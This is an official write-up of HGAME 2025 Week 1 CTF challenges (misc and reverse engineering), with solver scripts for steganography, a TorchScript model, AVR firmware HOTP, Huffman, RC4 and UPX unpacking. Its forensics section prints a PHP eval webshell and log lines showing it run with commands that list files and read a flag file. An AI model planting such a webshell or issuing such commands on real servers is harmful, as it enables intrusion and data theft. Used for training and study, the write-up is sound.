



HGAME 2025 WEEK1官方解题思路

MISC

Hakuya Want A Girl Friend



可以看出这一部分是一个压缩包，截取出来打开发现要密码



剩下的是倒序的png，倒回来然后爆破宽高

```
D:\CTF\CODE\python\python3>python3 爆破图片宽高.py -f hky4.png
宽高被改了，是否CRC爆破宽高？(Y/n):y

CRC32: 0xa672282d
宽度: 576, hex: 0x240
高度: 779, hex: 0x30b

D:\CTF\CODE\python\python3>
```

拿到密码 `To_f1nd_th3_QQ`

打开压缩包得到flag

hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}

Level 314 线性走廊中的双生实体

exp

```
1 import torch
2
```

```

3  # 加载模型
4  model = torch.jit.load('model.pt')
5
6  # 打印模型结构
7  print("模型结构:")
8  print(model.code)
9
10 # 获取模型中的常量
11 print("\n模型中的常量:")
12 for name, buffer in model.named_buffers():
13     print(f"{name}: {buffer}")
14
15 # 分析forward函数中的条件
16 print("\n分析触发条件:")
17 # 可以看到前向传播中的allclose比较, 使用的是3.1415/10
18
19 # 从代码中我们可以看到:
20 # 1. 假flag使用了简单的凯撒密码(+3)加密
21 # 2. 真flag使用了XOR 0x55加密
22 # 3. 触发条件是输入均值为pi/10
23
24 # 直接构造触发条件
25 trigger_input = torch.full((1, 10), 3.1415/10)
26 output = model(trigger_input)

```

原题

```

1  import torch
2  import torch.nn as nn
3
4  class MyModule(nn.Module):
5      def __init__(self):
6          super(MyModule, self).__init__()
7          self.linear = nn.Linear(10, 1)
8          # 真flag (使用异或加密)
9          self.real_flag = [x ^ 0x55 for x in b"flag{s0_th1s_1s_r3al_s3cr3t}"]
10         # 假flag (使用凯撒密码加密)
11         self.fake_flag = [ord(c) + 3 for c in "flag{fake_flag}"]
12
13     def forward(self, x):
14         decoded = "".join([chr(c - 3) for c in self.fake_flag])
15         print("Fake flag:", decoded)
16
17         if torch.allclose(torch.mean(x), torch.tensor(3.1415/10), atol=1e-4):
18             decoded = "".join([chr(b ^ 0x55) for b in self.real_flag])

```

```

19         print("Real flag:", decoded)
20
21     return self.linear(x)
22
23 # 创建模型实例
24 model = MyModule()
25
26 # 脚本化模型,然后保存
27 scripted_model = torch.jit.script(model)
28 scripted_model.save('model.pt')

```

解析

```

[ch405@steamdeck:~/P/t/model_hooks]-[16时45分39秒]
->$ python analyze.py
模型结构:
def forward(self,
    x: Tensor) -> Tensor:
    _0 = annotate(List[str], [])
    fake_flag = self.fake_flag
    for _1 in range(torch.len(fake_flag)):
        c = fake_flag[_1]
        _2 = torch.append(_0, torch.chr(torch.sub(c, 3)))
    decoded = torch.join("", _0)
    print("Fake flag:", decoded)
    _3 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
    if _3:
        _4 = annotate(List[str], [])
        real_flag = self.real_flag
        for _5 in range(torch.len(real_flag)):
            b = real_flag[_5]
            _6 = torch.append(_4, torch.chr(torch.__xor__(b, 85)))
        decoded0 = torch.join("", _4)
        print("Real flag:", decoded0)
    else:
        pass
    linear = self.linear
    return (linear).forward(x, )

```

这里可以看到 `_3 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)`

然后`_3`的情况会出正确flag

于是我们只要构造就好了, 让平均值接近于 0.31415 ($\pi/10$)

随便很多构造都能接近, 硬爆也是可以的毕竟题目里说了 准备一个形状为 `[■, ■■]` 的张量, 确保其符合“`■/■`稳定态”条件。

Level 314本身这个Level 在后室原名就是 π

小诗里也有隐含对应的暗示

- 1 周率三分隐玉衡
- 2 十方镜界启玄晶

- 3 张弦欲测非欧域
- 4 量度须从太极经

周率 指的是圆周率

十方 指的是十分之一

Computer cleaner


进入/var/www/html apache的默认目录尝试寻找webshell

```
vidar@vidar-computer:~$ cd /var/www/html
vidar@vidar-computer:/var/www/html$ ls
index.html  upload.html  upload_log.txt  upload.php  uploads
vidar@vidar-computer:/var/www/html$ cd uploads
vidar@vidar-computer:/var/www/html/uploads$ ls
shell.php
vidar@vidar-computer:/var/www/html/uploads$ cat shell.php
<?php @eval($_POST['hgame{y0u_}']);?>
vidar@vidar-computer:/var/www/html/uploads$
```

查看日志


```
vidar@vidar-computer: /var/www/html
ko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:15 +0000] "POST /upload HTTP/1.1" 200 512 "h
Files t://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/5
(KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:20 +0000] "POST /upload HTTP/1.1" 200 1024 "
http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:35 +0000] "POST /upload HTTP/1.1" 200 1024 "
http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:50 +0000] "POST /upload HTTP/1.1" 200 1030 "
http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:55 +0000] "GET /uploads/shell.php HTTP/1.1"
200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] "GET /uploads/shell.php?cmd=ls HTTP
/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] "GET /uploads/shell.php?cmd=cat%20
~/Documents/flag_part3 HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win
64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.3
6"
vidar@vidar-computer: /var/www/html
```

对于攻击者ip直接访问可以得到第二段





```
cat ~/Documents/flag_part3
```

```
Documents/ Downloads/
vidar@vidar-computer:~$ cd Documents/
vidar@vidar-computer:~/Documents$ ls
flag_part3
vidar@vidar-computer:~/Documents$ cat flag_part3
c0mput3r!}
```

```
hgame{y0u_hav3_cleaned_th3_c0mput3r!}
```

Two wires

使用Ghidra打开固件，选择IO寄存器定义符合的处理器型号，打开预定义label，导入并自动分析，可以发现固件未删除调试符号。



观察函数名，`setup`、`loop`、`digitalWrite` 等标志性函数提示该固件使用了Arduino框架。根据<https://github.com/arduino/ArduinoCore-avr/blob/master/cores/arduino/Arduino.h>修复函数签名。

`setup` 函数的第一个操作是从EEPROM中读取一个对象至RAM，若返回值为0则将该对象的RAM置0。

```
20  R25R24 = EepromData::tryUnserialize(R25R24);
21  if ((char)R25R24 == 0x0) {
22      Z = &state;
23      R25R24 = (OtpState *)CONCAT11(R25R24._1_1_, 0x1c);
24      X = &state;
25      do {
26          puVar1 = X;
27          X = X + 1;
28          *puVar1 = R1;
29          in_Vflg = (char)R25R24 == -0x80;
30          R25R24._0_1_ = (char)R25R24 + -1;
31          in_Nflg = (char)R25R24 < 0x0;
32          in_Zflg = (char)R25R24 == 0x0;
33          in_Sflg = in_Nflg != in_Vflg;
34      } while (!(bool)in_Zflg);
35  }
```

之后初始化I2C协议外设。

```

40 TwoWire::rxBufferIndex = R1;
41 TwoWire::rxBufferLength = R1;
42 TwoWire::txBufferIndex = R1;
43 TwoWire::txBufferLength = R1;
44 twi_init();
45 twi_onSlaveTransmit._1_1_ = 1;
46 twi_onSlaveTransmit._0_1_ = 0xda;
47 twi_onSlaveReceive._1_1_ = 1;
48 twi_onSlaveReceive._0_1_ = 0xe6;
49 TWAR = 0x20;
50 TwoWire::user_onRequest._1_1_ = 5;
51 TwoWire::user_onRequest._0_1_ = 0x64;
52 TwoWire::user_onReceive._1_1_ = 5;
53 TwoWire::user_onReceive._0_1_ = 0x78;
54 R0 = in_Cflg == '\x01' | (in_Zflg == '\x01'
55     (in_Vflg == '\x01') << 3 | (in_Sflg ==
56     (in_Tflg == '\x01') << 6 | (in_Iflg ==
57 watchdog_reset();
58 WDTCSR = 0x18;
59 SREG = R0;
60 WDTCSR = 0xe;
61 R25R24 = (OtpState *)0xe0d;
62 digitalWrite(0xd,0x1);
63 return;
64 }

```

两个用户处理函数分别在代码段的0x564和0x578处。通过<https://github.com/arduino/ArduinoCore-avr/blob/c8c514c9a19602542bc32c7033f48fecbbda4401/libraries/Wire/src/Wire.h#L47-L48>可以恢复其签名。



```
1
2 /* i2cOnRequest() */
3
4 void i2cOnRequest(void)
5 {
6
7     R1 = 0;
8     if (next_action != 0) {
9         R25R24 = CONCAT11(R25R24._1_1_,1);
10        illegal_state = true;
11        return;
12    }
13    TwoWire::write((TwoWire *)&Wire,&msg_send,0xd);
14    R25R24 = CONCAT11(R25R24._1_1_,1);
15    next_action = 1;
16    return;
17 }
```

i2cOnRequest

```
Decompile: i2cOnReceive - (firmware.elf)
16 uVar1 = R16;
17 R1 = 0;
18 R18 = next_action;
19 if (next_action == 0) {
20     nbytes = nbytes + -0x11;
21     if (0x10 < (uint)nbytes) {
22         Y = &msg_rcv;
23         R16 = 0x3d;
24         R17 = 1;
25         do {
26             puVar4 = Y;
27             nbytes = TwoWire::read();
28             Y = Y + 1;
29             *puVar4 = (uchar)nbytes;
30         } while (R16 != (byte)Y || R17 != (char)(Y._1_1_ + (R16 < (byte)Y)));
31         nbytes = CONCAT11(nbytes._1_1_,msg_rcv);
32         if (msg_rcv == 0x1) {
33             nbytes = CONCAT11(nbytes._1_1_,3);
34         }
35         else if (msg_rcv == 0x0) {
36             nbytes = CONCAT11(nbytes._1_1_,2);
37         }
38         else if (msg_rcv == 0x2) {
39             nbytes = CONCAT11(nbytes._1_1_,4);
40         }
41         else {
42             if (msg_rcv != 0x3) {
43                 R16 = uVar1;
44                 R17 = uVar2;
45                 Y = (undefined1 *)uVar3;
46                 return;
47             }
48             nbytes = CONCAT11(nbytes._1_1_,5);
49         }
50         next_action = (uchar)nbytes;
51     }
52 }
53 else {
```

i2cOnReceive

当收到一个I2C读请求后，控制器会回复一个0xd字节长的响应，内容来自 `msg_send`。当收到一个写请求后，控制器首先判断收到的请求长度是否至少为0x11字节，然后将其存入 `msg_rcv`。之后，根据收到报文的第一个字节将 `next_action` 置值。可以为此创建一个struct便于观察。



整理收到报文的 `type` 与 `next_action` 的关联如下：

| <code>msg_rcv.type</code> | <code>next_action</code> |
|---------------------------|--------------------------|
| 0 | 2 |
| 1 | 3 |
| | |

| | |
|----|----|
| 2 | 4 |
| 3 | 5 |
| 其他 | 无效 |

观察 `loop` 函数，整理 `next_action` 与执行操作的关联。

```

1
2 void loop(void)
3 {
4     R1 = 0;
5     R25R24 = (OtpState *)CONCAT11(R25R24._1_1_,next_action);
6     if (next_action == 2) {
7         state = msg_recv.data[0];
8         DAT_mem_01e4 = msg_recv.data[1];
9         DAT_mem_01e5 = msg_recv.data[2];
10        DAT_mem_01e6 = msg_recv.data[3];
11        DAT_mem_01e7 = msg_recv.data[4];
12        DAT_mem_01e8 = msg_recv.data[5];
13        DAT_mem_01e9 = msg_recv.data[6];
14        DAT_mem_01ea = msg_recv.data[7];
15    }
16    else if (next_action < 2) {
17        if (next_action == 0) {
18            watchdog_reset();
19        }
20        else {
21            if (next_action == 1) {
22                next_action = 5;
23                goto LAB_code_0005ca;
24            }
25        LAB_code_0005b3:
26            illegal_state = true;
27        }
28    }
29    else {
30        if (next_action == 4) {
31            R25R24._0_1_ = '\n';
32            Z = msg_recv.data;
33            X = &DAT_mem_01f5;
34        }
35        else {
36            if (3 < next_action) {
37                if (next_action != 5) goto LAB_code_0005b3;
38                regen_otp();

```

```


39         EepromData::serialize(R25R24);
40         goto LAB_code_0005c4;
41     }
42     R25R24._0_1_ = '\n';
43     Z = msg_recv.data;
44     X = &DAT_mem_01eb;
45 }
46 do {
47     puVar2 = Z;
48     puVar1 = X;
49     Z = Z + 1;
50     R0 = *puVar2;
51     X = X + 1;
52     *puVar1 = R0;
53     R25R24._0_1_ = (char)R25R24 + -1;
54 } while ((char)R25R24 != '\0');
55 }
56 LAB_code_0005c4:
57     next_action = R1;
58 LAB_code_0005ca:
59     if (illegal_state == false) {
60         R25R24._0_1_ = illegal_state;
61         return;
62     }
63     do {
64         R25R24 = (OtpState *)CONCAT11(R25R24._1_1_,0xd);
65         digitalWrite('\r','\0');
66         delay.constprop.1();
67         R25R24 = (OtpState *)CONCAT11(R25R24._1_1_,0xd);
68         digitalWrite('\r','\x01');
69         delay.constprop.1();
70     } while( true );
71 }

```

| 当前 next_action | 下个 next_action | 操作 |
|----------------|----------------|---------------------------------------|
| 0 | 0 | 重置看门狗 |
| 1 | 5 | 无 |
| 2 | 0 | memcpy(data:0x1e3, msg_recv.data, 8) |
| 3 | 0 | memcpy(data:0x1eb, msg_recv.data, 10) |
| 4 | 0 | memcpy(data:0x1f5, msg_recv.data, 10) |
| | | |

| | | |
|----|----|---|
| 5 | 0 | <div>regen_otp();</div> <div>EepromData::serialize();</div> |
| 其他 | 无效 | 无效 |

在0x1e3处尝试创建struct。



观察 `regen_otp()`，根据<https://gcc.gnu.org/onlinedocs/gccint/Integer-library-routines.html>修复函数签名。

```

129 R25R24._0_1_ = 44;
130 X = &DAT_mem_027c;
131 do {
132     puVar4 = X;
133     X = X + 1;
134     *puVar4 = R1;
135     R25R24._0_1_ = (byte)R25R24 + -1;
136 } while ((byte)R25R24 != '\0');
137 R25R24._0_1_ = 20;
138 Z = state.prop_0x8;
139 X = &uint8_t_mem_0268;
140 do {
141     puVar6 = Z;
142     puVar4 = X;
143     Z = Z + 1;
144     R0 = *puVar6;
145     X = X + 1;
146     *puVar4 = R0;
147     R25R24._0_1_ = (byte)R25R24 + -1;
148 } while ((byte)R25R24 != '\0');

```

该处初始化了一个长度为64字节的RAM空间，前20字节为 `state.prop_0x8` 与 `state.prop_0x12` 拼接得到的内容。根据

<https://datatracker.ietf.org/doc/html/rfc4226#section-5.3>，该20字节符合secret的特征，同时也符合SHA1的计算初始化特征。因此将两个字段合并，称为 `secret`。因此，`state.prop_0x0` 为64位的计数器。

```
232  _R23R22 = dynamic_truncate(R25R24);
233  R19R18 = 0x4240;
234  R21R20 = 0xf;
235  *(undefined3 *)(uVar1 - 10) = 0x97d;
236  __udivmodsi4(_R23R22, CONCAT22(R21R20, R19R18));
237  msg_send.data[0] = (byte)R23R22;
238  msg_send.data[1] = R23R22._1_1_;
239  msg_send.data[2] = (byte)R25R24;
240  msg_send.data[3] = R25R24._1_1_;
241  msg_send.data[4] = state.counter[0];
242  msg_send.data[5] = state.counter[1];
243  msg_send.data[6] = state.counter[2];
244  msg_send.data[7] = state.counter[3];
245  msg_send.data[8] = state.counter[4];
246  msg_send.data[9] = state.counter[5];
247  msg_send.data[10] = state.counter[6];
248  msg_send.data[0xb] = state.counter[7];
```

注意此处 `__udivmodsi4` 的调用约定有不同：见<https://reviews.llvm.org/D138166>，<https://github.com/gcc-mirror/gcc/blob/91fa9c15cc4fb9947e7e2f7990f7d5a58845d5cf/gcc/config/avr/avr.md#L4421-L4466>。

Edit Function at code:000a54

retval_udivmodsi4

__udivmodsi4

(ulong num, ulong den)

Function Name:

__udivmodsi4

Calling Convention

__stdcall

Function Attributes:

Varargs

In Line

No Return

Use Custom Storage

Function Return/Parameters

| Index | Datatype | Name | Storage |
|-------|-------------------|----------|------------------------------|
| | retval_udivmodsi4 | <RETURN> | R25R24:2,R23R22:2,R21R20:... |
| 1 | ulong | num | R25R24:2,R23R22:2 |
| 2 | ulong | den | R21R20:2,R19R18:2 |

Call Fixup:

-NONE-

Commit all return/parameter details

OK


Cancel

该处的模数为0xf4240，即1000000，故OTP为6位。响应报文中，除了 type 之外，前4字节为OTP，后8字节为用于同步的计数器值。

综合对 loop() 的分析，写请求报文 type 与功能对应如下：

| msg_recv.type | 含义 |
|---------------|-------------------|
| 0 | 设置计数器 |
| 1 | 设置前10字节 secret |
| 2 | 设置后10字节 secret |
| 3 | 冲刷 msg_send 中的旧数据 |

配合Sigrok分析波形文件，提取I2C命令与数据，得到 secret 与初始计数器值。




secret 为 6B 69 4F 7E 03 54 F6 C6 6A B5 1A 04 02 1B 1C 6D 7D 45 58 02，
初始计数器值为 01 00 00 00 93 7E CD 0D，即
0x0dcd7e9300000001=994590262544039937。

使用CyberChef将secret编码为Base32，便可使用在线工具求得HOTP。

[https://gchq.github.io/CyberChef/#recipe=From_Hex\('Auto'\)To_Base32\('A-Z2-7%3D'\)&input=NklgNjkgNEYgN0UgMDMgNTQgRjYgQzYgNkEgQjUgMUEgMDQgMDIgMUIgMUMgNkQgN0QgNDUgNTggMDI](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')To_Base32('A-Z2-7%3D')&input=NklgNjkgNEYgN0UgMDMgNTQgRjYgQzYgNkEgQjUgMUEgMDQgMDIgMUIgMUMgNkQgN0QgNDUgNTggMDI)

<https://www.verifyr.com/en/otp/check#hotp>

求得 x1 为283942，与响应波形中的值相符。



同理可求得计数器自增9次后的HOTP，即 `x2`，为633153。

观察 `EepromData::tryUnserialize` 方法，发现从EEPROM中读取32字节数据。

```
44 R17R16 = NULL;  
45 do {  
46     param_1 = R17R16;  
47     *(undefined3 *) (uVar3 - 0x22) = 0x495;  
48     param_1._0_1_ = (OtpState) eeprom_read_byte((uint8_t *) param_1);  
49     Z = R15R14 + 1;  
50     *R15R14 = param_1._0_1_;  
51     R15R14 = Z;  
52     bVar1 = (char) R17R16 + 1;  
53     R17R16._1_1_ = R17R16._1_1_ - (((char) R17R16 != -1) + -1);  
54     R17R16 = (OtpState *) CONCAT11(R17R16._1_1_, bVar1);  
55 } while (bVar1 != 32 || R17R16._1_1_ != (char) (R1 + (bVar1 < 32)));
```

之后对EEPROM头部4字节内容（Y+0~Y+3）进行某种判断，通过则读取剩余28字节内容至 `state`。

```

56 param_1._0_1_ = *(OtpState*)(Y + 1);
57 param_1._1_1_ = *(byte*)(Y + 2);
58 X._0_1_ = *(byte*)(Y + 3);
59 X._1_1_ = *(char*)(Y + 4);
60 bVar1 = param_1._1_1_ - (((byte)param_1._0_1_ < 0xbe) + -0x46);
61 bVar6 = param_1._1_1_ < 0xba || (byte)(param_1._1_1_ + 0x46) < ((byte)param_1
62 cVar2 = (byte)X - (bVar6 + -2);
63 X._1_1_ = X._1_1_ - (((byte)X < 0xfe || (byte)((byte)X + 2) < bVar6) + -0x36);
64 X = (OtpState*)CONCAT11(X._1_1_, cVar2);
65 if (((param_1._0_1_ == (OtpState)0xbe && bVar1 == 0) && cVar2 == 0) && X._1_1
66     param_1 = (OtpState*)CONCAT11(bVar1, 28);
67     Z = (OtpState*)(Y + 5);
68     X = &state;
69     do {
70         p0Var5 = Z;
71         p0Var4 = X;
72         Z = Z + 1;
73         R0 = *p0Var5;
74         X = (OtpState*)(X->counter + 1);
75         p0Var4->counter[0] = (uint8_t)R0;
76         param_1._0_1_ = (OtpState)((char)param_1._0_1_ + -1);
77     } while (param_1._0_1_ != (OtpState)0x0);

```

那么显然可以方便地从EEPROM镜像中读出 `secret` 和计数器。

The screenshot shows the HxD hex editor interface. The main window displays the binary file 'eeeprom.bin'. The hex view shows values from offset 00000000 to 00000170. The decoded text view shows the corresponding ASCII values. The 'Special editors' panel on the right shows the 'Data inspector' with various data types and their values. The 'Results' panel at the bottom shows a search for 'Checksum' with 0 hits.

| Offset(h) | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 0D | 0E | 0F | Decoded text |
|-----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|---------------------|
| 00000000 | BE | BA | FE | CA | 92 | 05 | 00 | 00 | 17 | CD | 92 | 3A | 32 | 1C | 31 | D4 | %pE...I'.2.10 |
| 00000010 | 94 | 54 | 85 | 42 | 44 | DE | 86 | CC | 4A | B6 | DD | F4 | 35 | 42 | 90 | 52 | "T...BDD+I...Y65B.R |
| 00000020 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000030 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000040 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000050 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000060 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000070 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000080 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000090 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000A0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000B0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000C0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000D0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000E0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 000000F0 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000100 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000110 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000120 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000130 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000140 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000150 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000160 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |
| 00000170 | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | FF | yyyyyyyyyyyyyyyy |

Special editors

Data inspector

Binary (8 bit) 10010010

Int8 go to: -110

UInt8 go to: 146

Int16 go to: 1426

UInt16 go to: 1426

Int24 go to: 1426

UInt24 go to: 1426

Int32 go to: 1426

UInt32 go to: 1426

Int64 go to: 4220661299467519378

UInt64 go to: 4220661299467519378

LEB128 go

secret : 32 1C 31 D4 94 54 85 42 44 DE 86 CC 4A B6 DD F4 35 42 90 52 ,
初始计数器值为 92 05 00 00 17 CD 92 3A =4220661299467519378。

通过同样方法可以计算出计数器+32与+64时的HOTP Y1 和 Y2 ，分别为431432和187457。

hgame{283942_633153_431432_187457}

? 如果你拥有相符的硬件，也可以选择动态调试，这会极大降低本题的难度。


RE

Compress dot new


函数式Huffman编码，核心在于递归的有序序列插入。可以使用AI直接看出算法并写出exp。

```
1  import json
2  import typing as ty
3
4  with open(input("Path?> "), "rt") as f:
5      tree_json, str_encoded = f.readlines()
6
7  tree = json.loads(tree_json)
8
9  codes: dict[str, str] = {}
10 queue: list[tuple[ty.Any, str]] = []
11 queue.append((tree, ""))
12 while len(queue) > 0:
13     node, path = queue.pop(0)
14     if "s" in node:
15         codes[path] = chr(node["s"])
16     else:
17         queue.append((node["a"], path + "0"))
18         queue.append((node["b"], path + "1"))
19
20 result = ""
21 current_code = ""
22 for bit in str_encoded:
23     current_code += bit
24     if current_code in codes:
25         result += codes[current_code]
26         current_code = ""
27
28 print(result)
29
```


upx头和特征都被修改，脱壳机无效，只能手脱



esp脱壳定律，打断点后跳到程序入口



dump文件



修复IAT表，脱壳完成

```

v15 = 6;
v14 = 7;
v13 = 40;
j_printf("plz input the key: ");
j_scanf("%s", Source);
j_mbscpy(Dest, Source);
v12 = 7;
sub_401550(v11, v15, v4);
sub_40163E(Source, v13, "");
if ( !j_
{
    0: 0008 rcx      __int64 a1;
    1: 0004 edx      int a2;
    2: 0008 r8       __int64 a3;
    RET 0008 rax     unsigned __int64;
    TOTAL STKARGS SIZE: 32
sub_40163E(Dest, v12, v4);
sub_40175A(Buf1, *(unsigned int *)&v11[7], v4);
if ( !j_memcmp(Buf1, v5, v13) )
    j_puts(Buffer);
else
    j_puts(aWrongPlzTryAga);
}
else
{
    j_puts(aKeyIsWrong);
}
return 0;
}

```

00000E65:main:71 (401A65)

打开后很清晰的可以看出是两个rc4，sub_401550函数进行init，sub_40163E为rc4函数，sub_40175A为魔改rc4

先对key进行校验，再用key对flag进行校验，逻辑比较简单

```

1  #include <stdio.h>
2  #include <string.h>
3  #include <stdlib.h>
4
5  #define SBOX_SIZE 256
6
7  void init(unsigned char *key, int length, unsigned char *S) {
8      int i, j = 0;
9      unsigned char temp;
10
11      for (i = 0; i < SBOX_SIZE; i++) {
12          S[i] = i;
13      }
14
15      for (i = 0; i < SBOX_SIZE; i++) {
16          j = (j + S[i] + key[i % length]) % SBOX_SIZE;
17
18          temp = S[i];
19          S[i] = S[j];
20          S[j] = temp;
21      }
22  }
23

```

```

24 void fun1(unsigned char *data, int length, unsigned char *S) {
25     int i = 0, j = 0, k;
26     unsigned char temp;
27
28     for (k = 0; k < length; k++) {
29         i = (i + 1) % SBOX_SIZE;
30         j = (j + S[i]) % SBOX_SIZE;
31
32         temp = S[i];
33         S[i] = S[j];
34         S[j] = temp;
35
36         unsigned char rnd = S[(S[i] + S[j]) % SBOX_SIZE];
37
38         data[k] ^= rnd;
39     }
40 }
41
42 void fun2(unsigned char *data, int length, unsigned char *S) {
43     int i = 0, j = 0, k;
44     unsigned char temp;
45
46     for (k = 0; k < length; k++) {
47         i = (i + 1) % SBOX_SIZE;
48         j = (j + S[i]) % SBOX_SIZE;
49
50         temp = S[i];
51         S[i] = S[j];
52         S[j] = temp;
53
54         unsigned char rnd = S[(S[i] + S[j]) % SBOX_SIZE];
55
56         data[k] += rnd;
57     }
58 }
59
60 int main() {
61     unsigned char key0[] = "yekyek";
62     unsigned char key[] = {0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A};
63     unsigned char cipher[] = {
64         0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
65         0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
66         0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
67         0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
68         0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
69     };
70

```

```

71     unsigned char S[SBOX_SIZE];
72
73     int key0_length = sizeof(key0) - 1;
74     int key_length = sizeof(key);
75     int cipher_length= sizeof(cipher);
76
77     init(key0, key0_length, S);
78     fun1(key, key_length, S);
79
80     init(key, key_length, S);
81     fun2(cipher, cipher_length, S);
82     printf("%s\n", cipher);
83
84     return 0;
85 }
86

```

Delta Error

题目思路来源于AmateursCTF 2024的一个原题

ApplyDeltaB函数会先完成增量压缩的部分，然后进行hash的验证。如果我将这段hash给patch之后，就无法通过验证会导致ApplyDeltaB函数运行错误，但是增量压缩的部分依旧会完成，我们可以在内存里找到这部分内容（由于Source跟Target的差距很大）。就像下面这样

```

00177BF9D38F0 db 53h ; S
00177BF9D38F1 db 65h ; e
00177BF9D38F2 db 76h ; v
00177BF9D38F3 db 65h ; e
00177BF9D38F4 db 6Eh ; n
00177BF9D38F5 db 20h
00177BF9D38F6 db 73h ; s
00177BF9D38F7 db 61h ; a
00177BF9D38F8 db 79h ; y
00177BF9D38F9 db 73h ; s
00177BF9D38FA db 20h
00177BF9D38FB db 79h ; y
00177BF9D38FC db 6Fh ; o
00177BF9D38FD db 75h ; u
00177BF9D38FE db 27h ; '
00177BF9D38FF db 72h ; r
00177BF9D3900 db 65h ; e
00177BF9D3901 db 20h
00177BF9D3902 db 72h ; r
00177BF9D3903 db 69h ; i
00177BF9D3904 db 67h ; g
00177BF9D3905 db 68h ; h
00177BF9D3906 db 74h ; t
00177BF9D3907 db 21h ; !
00177BF9D3908 db 21h ; !
00177BF9D3909 db 21h ; !
00177BF9D390A db 21h ; !
00177BF9D390B db 0

```

程序的逻辑很简单，对输入进行增量patch。然后由于patch了hash导致ApplyDeltaB运行错误，程序发起一个异常，进入异常处理。

```

